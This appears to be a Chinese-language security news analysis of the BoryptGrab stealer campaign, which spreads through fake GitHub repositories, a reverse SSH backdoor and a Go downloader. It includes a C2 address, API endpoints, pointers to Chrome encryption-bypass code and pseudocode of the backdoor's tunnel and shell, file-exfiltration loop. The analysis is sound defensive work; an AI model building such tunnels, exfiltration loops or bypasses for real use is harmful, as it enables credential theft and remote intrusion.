摘要

這份報告對 BoryptGrab 竊密軟體攻擊活動提供了全面的技術分析。此攻擊活動利用誘騙的 GitHub 頁面來散布一個複雜的資料竊取惡意軟體家族。分析深入探討了多階段的感染鏈,重點關注關鍵元件,例如 BoryptGrab 竊密軟體本身、TunnesshClient Reverse SSH 後門,以及 HeaconLoad Golang 下載器。我們檢視了其技術機制,包括 DLL side-loading、混淆技術、反分析措施以及資料外洩方法。報告也納入了關於以 GitHub 為基礎的惡意軟體散布和高階規避戰術的相關研究見解,目的在提供對這個持續演變的威脅態勢更深入的理解。

GitHub專案成攻擊跳板?BoryptGrab後門透過Reverse Shell竊取企業認證 | 資訊安全新聞

1. 簡介

數位威脅態勢持續演變,threat actors 採用越來越精密的方法來入侵系統並竊取敏感資料。近期,一個涉及 BoryptGrab 竊密軟體的顯著攻擊活動浮出檯面,其特點是利用偽造的、經過 SEO 最佳化的 GitHub 儲存庫和誘騙的下載頁面來誘騙毫無戒心的使用者 [1] 。此攻擊活動目的在散布一個資料竊取惡意軟體家族,向 Windows 使用者傳遞多個 payload,包含一個 Reverse SSH 後門 [1] 。這份報告目的在剖析 BoryptGrab 竊密軟體、其相關元件以及更廣泛的感染機制的技術細節,參考了來自網路安全研究和相關技術分析的詳細發現。

2. 攻擊鏈概述

BoryptGrab 攻擊活動採用多階段感染鏈,始於透過看似合法的 GitHub 儲存庫進行初始散布。這些儲存庫經常偽裝成熱門軟體工具或遊戲外掛,利用 SEO 關鍵字來獲得高搜尋引擎排名 [1] 。感染過程通常如下圖所示:

graph TD A[User searches for software] --> B{Deceptive
GitHub Repository}; B --> C["Fake GitHub Download Page
(e.g., .github/index.htm)"]; C --> D{Base64-encoded
URL Redirection}; D --> E[Intermediate
URL Redirection]; E --> F[Malicious ZIP File
Generation Page]; F --> G[Malicious ZIP File
Download]; G --> H{Execution of
Malicious ZIP Content}; H --> I{Multiple Infection Routes}; I --> J[Route 1: DLL Side-loading]; J --> K[Malicious libcurl.dll]; K --> L["Decrypts Launcher Payload
(XOR + AES-CBC)"]; L --> M[Downloads
BoryptGrab Stealer]; L --> N[Downloads
TunnesshClient Backdoor]; I --> O[Route 2: VBS Downloader]; O --> P[PowerShell Payload]; P --> Q[Downloads
C/C++ Launcher Binary]; Q --> M; I --> R["Route 3:
HeaconLoad (Golang)
Downloader"]; R --> S[Establishes Persistence]; S --> T[Sends Beacon Messages]; T --> U[Downloads and Unzips
Bundle Archive]; U --> M; M --> V[Data Exfiltration]; N --> W[Reverse SSH Tunnel
& C2 Communication]; U --> V;

此圖說明了 BoryptGrab 竊密軟體及其相關 payload 被傳遞和執行的主要途徑。每個階段都涉及特定的技術操作,目的在規避偵測並在受害者的系統上建立 persistence [1]

3. 核心元件的技術分析

3.1. BoryptGrab 竊密軟體

BoryptGrab 是一個用 C/C++ 編寫的竊密軟體,用途為從受入侵的 Windows 系統中竊取大量敏感資訊。它支援可選的命令列參數,例如 --output-path (或 -o ) 來指定收集資料的目錄,以及 --build-name (或 -b ) 來指派建置識別碼,該識別碼隨後會用於 UserInformation.txt 檔案中 [1] 。存在不同的變種,有些會解析這些參數,有些使用 hardcoded 的建置名稱,或者完全省略建置名稱功能 [1]

BoryptGrab 操作中的一個重要方面是其反分析能力。它通過查詢 registry 項目(Entry)和檢查與 VM 相關的檔案來執行虛擬機器環境檢查。此外,它會將正在執行的 process 名稱與預先定義的黑名單進行比對,以偵測安全工具,並嘗試權限提升 [1]

此竊密軟體鎖定多種瀏覽器,包括 Brave、Chrome、Edge、Firefox、Opera 和 Yandex Browser 等 [1] 。對於基於 Chrome 的瀏覽器,BoryptGrab 利用技術繞過 Chrome App Bound Encryption,整合了來自公共 GitHub 儲存庫的代碼,例如 https://github.com/00nx/Chrome-App-Bound-Encryption-Bypass https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption [1] 。該惡意軟體通常包含一個名為 PAYLOAD_DLL 的加密資源,一旦解密,便會實作瀏覽器資料收集邏輯,包括針對 Yandex 和 Firefox 瀏覽器的特定功能 [1]

除了瀏覽器資料,BoryptGrab 也擅長從超過 30 種桌面加密貨幣錢包應用程式中竊取資訊,例如 Armory Wallet、Atomic、Bitcoin Core、Exodus 和 Ledger Live,以及瀏覽器擴充功能 [1] 。它還包含一個 File Grabber 功能,可從常見目錄收集具有特定副檔名的檔案 [1] 。資料收集完成後,BoryptGrab 會將收集到的資料壓縮並上傳至攻擊者的伺服器 [1]

3.2. TunnesshClient 後門

TunnesshClient 是一個 PyInstaller 可執行檔,作為 Reverse SSH 後門,能夠轉發流量並執行攻擊者命令。其俄語註解和日誌訊息暗示了 threat actors 可能的來源 [1] 。用戶端通常連線到一個 command-and-control (C2) 伺服器 (例如 193.143.1.104:5000 ) 以取得 SSH 認證和用於遠端通訊埠轉發的連接埠號碼 [1]

取得 SSH 認證的過程涉及向 /api/get_challenge /api/get_credentials 等 endpoint 發送 HTTP POST request。TunnesshClient 透過計算 SHA256 hash 來解決一個 challenge,以解密伺服器的 Response,該 Response 包含以 JSON 格式呈現的必要 SSH 認證 [1] 。隨後,它會將系統資訊發送到 /api/get_port 以取得一個連接埠號碼,然後用於建立 Reverse SSH tunnel [1]

TunnesshClient 支援多種操作類型,允許攻擊者在受入侵的系統上執行不同的動作。這些操作包括充當 SOCKS5 proxy、執行 shell command、列出檔案、傳輸檔案 (發送和接收 Base64 編碼的內容) 以及搜尋特定檔案 [1]

  1. // Conceptual pseudocode for TunnesshClient operation flow
  2. function TunnesshClient_Main():
  3. // 1. Retrieve SSH Credentials
  4. challenge_response = HTTP_POST("hxxp://C2_SERVER:5000/api/get_challenge")
  5. encrypted_credentials = SolveSHA256Challenge(challenge_response)
  6. ssh_credentials = Decrypt(encrypted_credentials) // JSON format
  7. // 2. Retrieve Port for Remote Port Forwarding
  8. system_info = CollectSystemInfo()
  9. port_response = HTTP_POST("hxxp://C2_SERVER:5000/api/get_port", system_info)
  10. remote_port = ParsePort(port_response)
  11. // 3. Establish Reverse SSH Tunnel
  12. EstablishReverseSSHTunnel(ssh_credentials, remote_port, C2_SERVER)
  13. // 4. Command Execution Loop
  14. while (true):
  15. operation_type = ReceiveOperationTypeFromC2()
  16. switch (operation_type):
  17. case 5: // Act as SOCKS5 proxy
  18. StartSOCKS5Proxy()
  19. case 83: // Execute shell command
  20. command = ReceiveCommandFromC2()
  21. ExecuteShellCommand(command)
  22. case 76: // List specified files
  23. path = ReceivePathFromC2()
  24. ListFiles(path)
  25. case 68: // Send victim's file to attacker
  26. file_path = ReceiveFilePathFromC2()
  27. SendFileToBase64(file_path)
  28. case 85: // Save Base64-encoded file content from attacker
  29. file_data = ReceiveBase64FileFromC2()
  30. SaveFile(file_data)
  31. case 70: // Search for file with specified query
  32. query = ReceiveQueryFromC2()
  33. SearchFile(query)
  34. default:
  35. Log("Unknown operation type")

另一種 TunnesshClient 變種被觀察到會在受害者機器上設定一個 local SSH 伺服器,並將 local SSH 連線詳細資訊 (使用者名稱和密碼) 轉發給攻擊者。此變種主要支援 SOCKS5 proxy 功能和 local SSH 轉發 [1]

3.3. HeaconLoad 下載器

HeaconLoad 是一個用 Golang 編寫的下載器,主要負責建立 persistence、向 C2 伺服器發送 beacon,以及下載額外的 payload。它透過在 Run 登錄檔機碼下添加項目(Entry)和建立排程任務來建立 persistence,確保其在系統重新啟動後仍能執行 [1]

此下載器透過 HTTP POST request 與攻擊者的伺服器 (例如 :8088/healthcheck ) 通訊,發送包含收集到的系統資訊和一個 hardcoded 建置標籤的 beacon 訊息。C2 伺服器的 Response 會指示是否有 bundle 可供下載,並提供用於驗證的 hash [1] 。如果有可用的 bundle,HeaconLoad 會下載並解壓縮它,然後執行壓縮檔中找到的第一個可執行檔 [1] 。在 HeaconLoad 樣本中也觀察到了俄語日誌訊息,進一步暗示了可能的來源 [1]

4. 規避與反分析技術

BoryptGrab 攻擊活動採用多種精密的規避與反分析技術,以阻礙偵測和逆向工程工作。這些方法對於惡意軟體在被監控的環境中有效運作並維持 persistence 至關重要。

其中一個顯著的技術是 DLL side-loading ,它誘騙一個合法的可執行檔載入惡意的 DLL (例如 libcurl.dll ),而不是其合法的對應檔案。這利用了 Windows 作業系統中動態連結函式庫的可預測搜尋順序 [1] [3] 。惡意的 DLL 隨後解密並執行後續的 payload,通常使用 XOR 運算和 CBC 模式的 AES 演算法 [1]

惡意軟體也整合了 反虛擬機與反除錯檢查 。例如,BoryptGrab 會查詢 registry 項目(Entry)並檢查與 VM 相關的檔案以偵測虛擬化環境。它還會將正在執行的 process 名稱與預先定義的清單進行比對,以識別並避免在安全工具存在時執行 [1] 。同樣地,像 HijackLoader 這樣的元件 (如在相關惡意軟體分析中所見) 採用了廣泛的檢查,包括時間分析、CPUID 檢查、系統資源驗證 (RAM、CPU 核心數) 和主機環境檢查,以判斷自己是否在沙箱或除錯器中執行 [3]

高階規避戰術還可能包括 Memory unhooking ,惡意軟體嘗試將被修改的系統 DLL (例如 ntdll.dll ) 恢復到其原始狀態。安全產品通常會 hook 進入系統 DLL 以監控和攔截 API 呼叫。透過對這些 DLL 進行 unhooking,惡意軟體可以繞過安全監控並在未被偵測的情況下執行其 Malicious payload [3]

此外, 程式碼混淆 在整個攻擊活動中被廣泛使用。例如,launcher payload 使用 XOR 解密來混淆 URL [1] 。在此攻擊活動中傳遞的 Vidar 變種也採用了 XOR 加密的字串和帶有冗餘程式碼(Redundant code)的不透明謂詞(Opaque predicates)來增加分析難度 [1] 。這些技術共同促成了 BoryptGrab 竊密軟體攻擊活動的隱蔽性和韌性。

5. 結論

BoryptGrab 竊密軟體攻擊活動代表了網路安全領域中一個重大且持續演變的威脅,其特點在於精密的多階段感染鏈和多樣的 payload 傳遞機制。透過利用 GitHub 等平台欺騙性的、經過 SEO 最佳化的儲存庫所建立的信任,threat actors 有效地引誘使用者下載惡意 ZIP 檔案 [1] [2] 。技術分析揭示了惡意軟體元件的複雜生態系統,包括 BoryptGrab 竊密軟體本身、TunnesshClient Reverse SSH 後門,以及 HeaconLoad Golang 下載器,每個元件都對受入侵系統上的資料外洩、遠端存取和 persistence 有所貢獻 [1]

此攻擊活動依賴於先進的規避與反分析技術,如 DLL side-loading、反虛擬機/反除錯檢查、記憶體 unhooking 和廣泛的程式碼混淆,凸顯了現代惡意軟體日益增長的複雜性 [1] [3] 。這些方法使惡意軟體能夠隱蔽地運作、繞過安全防禦並延長其運作壽命。觀察到的變種和眾多的建置名稱表明,這次攻擊活動背後有一個高度活躍且具備適應能力的 threat actor [1]

為了減輕此類威脅帶來的風險,個人和組織必須採取主動的安全措施。這些措施包括驗證軟體來源、採用強固的端點安全解決方案、在執行前進行徹底的檔案分析,以及對使用者進行社交工程戰術的教育訓練 [2] 。持續監控和調整防禦策略對於反制像 BoryptGrab 這樣持續且不斷演變的攻擊活動至關重要。